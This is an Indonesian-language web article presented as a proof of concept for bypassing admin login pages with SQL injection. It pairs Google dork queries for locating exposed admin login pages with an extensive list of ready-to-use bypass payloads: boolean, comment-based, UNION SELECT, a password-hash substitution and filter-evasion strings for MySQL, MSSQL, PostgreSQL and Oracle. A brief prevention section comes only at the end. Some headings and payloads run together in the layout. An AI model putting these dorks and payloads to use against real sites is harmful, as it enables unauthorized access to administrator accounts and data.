PoC SQL Injection Bypass Admin Login
SQL Injection Bypass Admin Login: adalah teknik yang mengeksploitasi celah keamanan dalam aplikasi berbasis database dengan menyisipkan perintah SQL berbahaya ke dalam input pengguna. Salah satu target umum dari SQLi adalah halaman login administrator, di mana seorang penyerang dapat melewati proses otentikasi tanpa kredensial yang sah.
Dork SQL Injection Admin Login
inurl:/admin/index.php inurl:/admin/login.php inurl:/admin/login inurl:/admin/dashboard.php inurl:/admin/login.aspx inurl:/admin/login.asp inurl:/admin/login.php site:* inurl:/admin/login.php intext:"Admin Login" site:* intitle:"Index of /admin" intitle:"Index of /admin" intext:login.php site:*
SQL Injection to Bypass Authentication
Form login yang rentan terhadap SQLi biasanya memiliki query SQL seperti berikut ini:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
Jika input tidak difilter dengan baik, seorang penyerang dapat memasukkan payload SQL berbahaya untuk mengubah struktur query di atas. Misalnya, dengan input berikut ini:
Username: ' OR '1'='1' -- Password: (kosong)
Maka query yang dieksekusi akan menjadi seperti ini:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '';
Bagian --
akan mengomentari sisa query, sehingga validasi password tidak dijalankan. Karena 1=1
selalu benar, penyerang akan berhasil login tanpa mengetahui kredensial sebenarnya.
Payload SQL Injection untuk Bypass Login
Berikut adalah beberapa payload SQLi yang sering digunakan untuk bypass login admin:
Boolean-Based Authentication Bypassadmin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or ('1'='1--
') or ('1'='1#
Payload dengan Comment (`--`, `#`, `/*`)
' OR '1'='1' -- ' OR '1'='1' # ' OR '1'='1' /*Union-Based Authentication Bypass
' UNION SELECT 1, 'admin', 'anypassword', 1--Bypass Login dengan menggunakan Password Hash
Username: admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'-- Password: 1234Payload dengan UNION SELECT
' UNION SELECT 1, 'admin', 'password', 1 -- ' UNION SELECT 1, database(), user(), version() --Payload Bypass filter karakter
' or ''='
") or ("1"="1
' or 'x'='x
MySQL
' OR 1=1 --
' OR 1=1 #
' OR 1=1 /*
MSSQL
' OR 1=1 --
' OR 1=1 #
PostgreSQL
' OR TRUE --Oracle
' OR '1'='1 --
Cara Mencegah Serangan SQL Injection
Parameterized Queries: Memastikan input user diperlakukan sebagai data, bukan bagian dari perintah SQL.
Prepared Statements: Membantu mencegah injeksi SQL dengan memisahkan logika query dari data input.
Input Validation & Sanitization: Memfilter input user agar hanya menerima format yang diizinkan.
Penggunaan Web Application Firewall (WAF): Menggunakan firewall untuk mendeteksi dan memblokir serangan SQL Injection secara otomatis.
